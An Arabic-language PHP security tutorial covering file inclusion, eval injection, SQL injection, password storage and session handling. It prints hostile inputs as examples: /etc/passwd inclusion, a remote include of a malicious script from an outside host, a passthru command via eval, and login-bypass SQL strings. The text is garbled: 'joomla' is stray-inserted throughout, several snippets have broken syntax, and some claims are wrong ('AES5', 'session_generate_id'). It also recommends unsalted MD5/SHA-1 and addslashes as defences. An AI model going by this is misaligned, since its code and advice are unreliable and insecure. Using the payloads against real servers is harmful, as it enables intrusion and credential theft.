1- لا تضمن فى برنامجك أبداً ملف مدخل من قبل مستخدم إلا بعد التأكد من إسم الملف (هناك عدة طرق للتأكد بالجافاسكربت ، أو بالبى اتش بى) ، أى لا تستخدم أبداً include , require , أو أى من دوال التضمين لملفات مدخلة حتى اسمائها من قبل مستخدمين قبل التأكد من صحة المدخلات.
مثال
رمز PHP:
<code style="white-space:nowrap"> <code> if(isset($page))
{
include($page);
}
</code> </code>
بما أنه لم يتم التأكد من إسم الملف $page و بناءً على أن register_globals فى وضع التشغيل مما يعنى أنه بإمكان المستخدم إدخال script.php?page=/etc/passwd
و بناءً على أنه عند تضمين أى إمتداد آخر غير بى اتش بى فإن مترجم اللغة يعرضه فى الصفحة كما هو إذا كان نص مثلاً ، تخيل أن شخصاً استطاع عرض /etc/passwd!!!!!
تأكد أيضاً من إعداد البى اتش بى الخاص بك حيث أن معظم الإعدادات يكون من المسموح فيها بتضمين ملفات من خوادم أخرى.
مثال
رمز PHP:
<code style="white-space:nowrap"> <code> script.php?page=http://mysite.com/mal_script.php
</code> </code>
بإمكان هذا المستخدم تنفيذ أى شفرة على موقعك مثل التعامل مع SSI أو قواعد بياناتك و الحل هو التحقق من صحة مدخلات المستخدم بوضع قاعدة تحقق عملية تخدم غرض برنامجك.
مثال
رمز PHP:
<code style="white-space:nowrap"> <code> $pages = array('index.html', 'page2.html', 'page3.html');
if( in_array($page, $pages) )
{
include($page);
{
else
{
die("Foot Bokra");
}
</code> </code>
2- تمرير القيم المدخلة من قبل المستخدم لى الدالة eval لأنك بكل بساطة تعطى المستخدم الحق فى تنفيذ أى أوامر مثل:
رمز PHP:
<code style="white-space:nowrap"> <code> script.php?input=;passthru("cat /etc/paswd");
</code> </code>
و سوف يتسبب تنفيذ هذا الأمر إخراج ملف /etc/passwd.
إن إستخدام eval صحيح تماماً للتحقق من صحة مدخلات و لكن لابد من إستخدامها عند الضرورة ، لو أنك تستخدم فى برنامجك (Templates) مثلاً أو تستخدم الدالة لإستبدال المدخلات من قبل المستخدم ، إستخدم دالة sprintf بدلاً منها.
3- تأكد من الخروج من إستعلامات قواعد البيانات SQL Statement بمعنى أن اللغة نفسها تحتوى على خاصية الخروج من جمل SQL بإضافة شرطة مائلة \ قبل حروف معينة أدخلت بواسطة GET , POST , COOKIE و إحدى الأمثلة على هذه الحروف هو العلامة (') و لو أن المدخلات فى جملة joomla الإستعلام تحتوى هذه العلامة فإن مترجم اللغة سوف يضيف تلقائياً شرطة مائلة \ لكى لا يتم معاملة الحرف (') كجزء من الإستعلام ، مثلاً إذا أدخل المستخدم $name فى النموذج form و جملة joomla الإستعلام كالآتى:
رمز PHP:
<code style="white-space:nowrap"> <code> UPDATE users SET Name='$name' WHERE ID=1;
</code> </code>
إذا كان المتغير يحتوى على الحرف (') فسوف يضاف الشرطة المائلة \ قبل الحرف و بالتالى لن يؤثر الحرف (') على جملة joomla الإستعلام ، لنتخيل أن المستخدم أدخل المعطيات التالية:
رمز PHP:
<code style="white-space:nowrap"> <code> $name',Admin='1
</code> </code>
الآن إستطاع المستخدم إدخال متغير آخر فى جملة joomla الإستعلام و بالتالى حصل على المعلومات المطلوبة ، بإمكانك إستخدام الدوال التالية
رمز PHP:
<code style="white-space:nowrap"> <code> addslashes() أو mysql_escape_string()
</code> </code>
عند إستخدام متغيرات ممررة من خلال جملة joomla الإستعلام و سوف يقوم بإدخالها المستخدم ، أيضاً الدالة magic_quotes_gpc فهى تضيف الشرطة المائلة تلقائياً و لكنها قد لا تكون فى وضع التشغيل و تستطيع إستخدام الدالة get_magic_quotes_gpc() لمعرفة إذا كانت فى وضع التشغيل أم لا و الأسهل هو إستخدام addslashes() من خلال حلقة تكرارية لإضافة الشرطة المائلة \ لكل المدخلات الممررة من قبل المستخدم.
4- عند تخزين كلمات المرور فى قاعدة البيانات تأكد من تشفيرها قبل التخزين فى قاعدة البيانات ، لأن قواعد البيانات غالباً ما تتبع حزمة الإستضافة الخاصة بك و غالباً أيضاً ما تكون الإستضافة تشاركية Shared Hosting إذن نستخلص أنك قد لا تعلم بعض الأشخاص المخولين بالدخول لقواعد البيانات ، بإستطاعتك تشفير كلمات المرور بإستخدام تقنيات عدة مثل 3DES أو AES5 و تستطيع فك التشفير لفترة بسيطة للتأكد من أن المستخدم قد أدخل كلمة المرور الصحيحة و الميزة الأساسية فى هذه الطرق هو أنها تعتمد فى التشفير و فك التشفير على مفتاح key يعرفه مدير الموقع ، و لكن هذه الطرق المذكورة بطيئة جداً و تعتمد على لوغاريتمات معقدة و الحل الأمثل لهذه المشكلة هو إستخدام إحدى دوال التشفير الرقمية Session hash functions مثل دالة SHA-1 أو md5.
5- تابع أخطاء جمل إستعلام SQL
لنفترض أن جملة joomla الإستعلام التى تستخدمها فى برنامجك للتأكد من إسم المستخدم و كلمة المرور كالآتى:
رمز PHP:
<code style="white-space:nowrap"> <code> $stmnt = SELECT login_id FROM users WHERE user = '" .
$_POST["username"] . "' AND password = '" . $_POST["password"];
</code> </code>
لنفترض أيضاً أن المستخدم أدخل (#) بدلاً من كلمة المرور أى أن جملة joomla الإستعلام أصبحت كالتالى:
رمز PHP:
<code style="white-space:nowrap"> <code> SELECT login_id FROM users WHERE user = 'hani'; #' AND password = ''
</code> </code>
بمعنى أنه إستطاع تحويل باقى جملة joomla الإستعلام إلى تعليق بإستخدام الرمز (#) و من ثم أصبحت كلمة المرور خالية!!
إذن كل ما استخدمه المهاجم هو إسم مستخدم مسجل فى قاعدة البيانات و بالتالى إستخدم الرمز (#) لقصر جملة joomla الإستعلام عند الرمز (#) الذى أصبح ما بعده (بقية جملة joomla الإستعلام) عبارة عن تعليق و الحل ذكرناه مسبقاً بإستخدام addslashes().
6- إستكمالاً لما سبق عن أهمية تشفير كلمات المرور ، بى اتش بى تدعم تلقائياً دوال SHA-1 و أيضاً MD5 الذى تم تطويره فى التسعينيات و لكنه يدعم تشفير حتى 128-bit فقط ، مع العلم أن SHA-1 يدعم حتى 160-bit و سوف نستخدمه كمثال:
رمز PHP:
<code style="white-space:nowrap"> <code>
$insertSql .= "'" . sha1($_POST["password1"]
. ", ";
</code> </code>
ربما تستغرب أننا لم نستخدم addslashes() كما أشرنا سابقاً و لكن لذلك سبب وجيه و هو أن SHA-1 تستخدم فقط الأرقام الستعشرية (Hexadecimal) أى (0 – 9 و A - F) بمعنى آخر الدالة لا تستخدم أى من الحروف الخطرة فى جمل الإستعلام مثل (').
بإمكانك التحقق من كلمتين المرور المشفرتين (المدخلة من قبل المستخدم ، و الموجودة مسبقاً فى قاعدة البيانات بإستخدام مثلاً:
رمز PHP:
<code style="white-space:nowrap"> <code>
$loginQuery .= " password = '". sha1($_POST["password"]
. "'";
</code> </code>
إذا تم التأكد من كلمة المرور المدخلة بأنها مطابقة لتلك فى قاعدة البيانات فسوف نبدأ الجلسات إذن و أخطائها الأمنية.
7- الجلسات (Session)
أخطاء الجلسات الأمنية و التى تخلق ثغرات فى برنامجك تعتمد على ثلاثة طرق:
الطريقة الأولى هى الإعتراض أو التوقيف و يكون عن طريق إرسال معرف الجلسة كنص عادى عبر الشبكة و الحل لهذه الثغرة بإستخدام إتصال آمن بين المستخدم و الخادم SSL أو TLS على سبيل المثال ، و لا تنسى إستخدام الدالة session_set_cookie_params أو إعداد session.cookie_secure فى ملف ini ، و بهذه الطريقة عندما يطلب المستخدم صفحة معينة على الخادم فإن معرف الجلسة لن يرسل إلا إذا كان الإتصال مشفر بين الخادم و المستخدم.
الطريقة الثانية وهى التوقع فلو أن معرف الجلسة تم إختياره بشكل سىء (كأن يكون تعداداً تصاعدياً مثلاً) فإن المهاجم يستطيع تخمينه و بالتالى الحصول على معرف جلسة لا تخصه ، و الحل الأمثل هو ربط معرف الجلسة بشىء له علاقة بالمستخدم (جلب الـIP مثلاً) ثم إدخاله فى احدى دوال التشفير المذكورة سابقاً (SHA-1 أو MD5) و سوف يتم انتاج أرقام عشوائية بناءً على ذلك و لكن الخادم بإستطاعته مقارنتها و التأكد منها ما إذا كانت مملوكة للمستخدم أم لا.
الطريقة الثالثة و هى الإقتحام بالقوة أو بالأحرى البحث و تخمين طريقة عمل معرف الجلسة و من الممكن التخمين إذا كان المبرمج استخدم مثلاً أرقام ما بين 1 و 10.000 و الحل السابق يكفى لتفادى ذلك فقط تأكد من أن التشفير ليس أقل من 128-bit.
لنفرض أننا بدأنا جلسة ما بعد أن تأكدنا من كلمة مرور المستخدم session_start() لابد أن نعيد تصنيع معرف الجلسة خلال عملية الولوج و تعديل الـcookie عن طريق session_generate_id و بعد ذلك سوف نقوم بتخزين بعض البيانات التى حصلنا عليها من قاعدة البيانات فى الجلسة
رمز PHP:
<code style="white-space:nowrap"> <code> $_SESSION["user"] = new User($userData->login_id, $userData->name, $userData->email, $userData->username);
</code> </code>
لاحظ المستخدم يتكون من: معرف الدخول login_id ، الإسم name ، البريد email ، إسم المستخدم username.
فى السطرين التاليين سوف نقوم بتخزين عنوان المستخدم IP و الوقت الذى بدأت فيه الجلسة
رمز PHP:
<code style="white-space:nowrap"> <code> $_SESSION["IP"] = $_SERVER["REMOTE_ADDR"];
$_SESSION["timestamp"] = time();
</code> </code>
الآن تمت عملية تسجيل الدخول
حماية المحتوى و التحكم فى الوصول للبيانات:
للتحكم فى الوصول للبيانات بطريقة سهلة لابد من المراجعة على بيانات الدخول و من العوامل المؤثرة التى تخلق ثغرات أمنية هو كيف تتم المراجعة على البيانات و أين توضع بيانات المراجعة.
على سبيل المثال "includes/session.inc.php" يحتوى على وظائف المراجعة (تستطيع تضمينه مع الملفات التى تريد حمايتها( ، و أسهل الطرق للتأكد من أن المستخدم له حق دخول المنطقة المحمية و الوصول للبيانات هو التأكد من أن الجلسة تم إعدادها بشكل صحيح و أنها تحتوى بعض بيانات المستخدم خلال عملية تسجيل الدخول و أول الخطوات هو التأكد من أن المتغيرات محددة فى مصفوفة $_SESSION
رمز PHP:
<code style="white-space:nowrap"> <code>
if(!isset($_SESSION["user"]
) {
die("Not logged in");
}
</code> </code>
أيضاً التأكد من معرف الدخول إذا كانت قيمته رقمية
رمز PHP:
<code style="white-space:nowrap"> <code> if(!is_numeric($_SESSION["user"]->loginID)) {
die("Not logged in");
}
</code> </code>
الآن تأكدنا بشكل كبير من أن صاحب الجلسة قد مر بإجراءات تسجيل الدخول و بما أننا لا نعرف إذا كان المستخدم هو صاحب الجلسة الحقيقى فلابد أن نقارن عنوان الـIP بذلك المخزن لدينا إذا لم يكونا متطابقين فسوف نخرج المستخدم
رمز PHP:
<code style="white-space:nowrap"> <code>
if($_SESSION["IP"] != $_SERVER["REMOTE_ADDR"]
{
header("Location: user_logout.php");
}
</code> </code>
لو أن الوقت المخزن لدينا ليس أكثر من 30 دقيقة (1800 ثانية) سوف نقوم بتصفير الوقت و إعطاءه 30 دقيقة أخرى للتصفح و إذا كان أكثر سوف نقوم بإخراجه
رمز PHP:
<code style="white-space:nowrap"> <code>
if((time() - $_SESSION["timestamp"]
> 1800) {
header("Location: user_logout.php?timeOut=1 ");
}
else {
$_SESSION["timestamp"] = time();
}
</code> </code>
إن عملية إخراج المستخدم حاسمة جداً حيث أنه من المهم جداً قطع كل صلات البيانات المرتبطة بالجلسة أو بمعرف الجلسة عند إخراج المستخدم و السطر التالى لإخلاء المصفوفة وهذا يعنى أنه تم مسح البيانات السابقة حتى العنوان IP و التوقيت
رمز PHP:
<code style="white-space:nowrap"> <code> $_SESSION = array();
</code> </code>
بعد ذلك نخبر مترجم اللغة بإنهاء الجلسة
رمز PHP:
<code style="white-space:nowrap"> <code> session_destroy();
</code> </code>
أيضاً مهم جداً أن نمسح معرف الجلسة من الـcookie
رمز PHP:
<code style="white-space:nowrap"> <code>
unset($_COOKIE[session_name()]
;
</code> </code>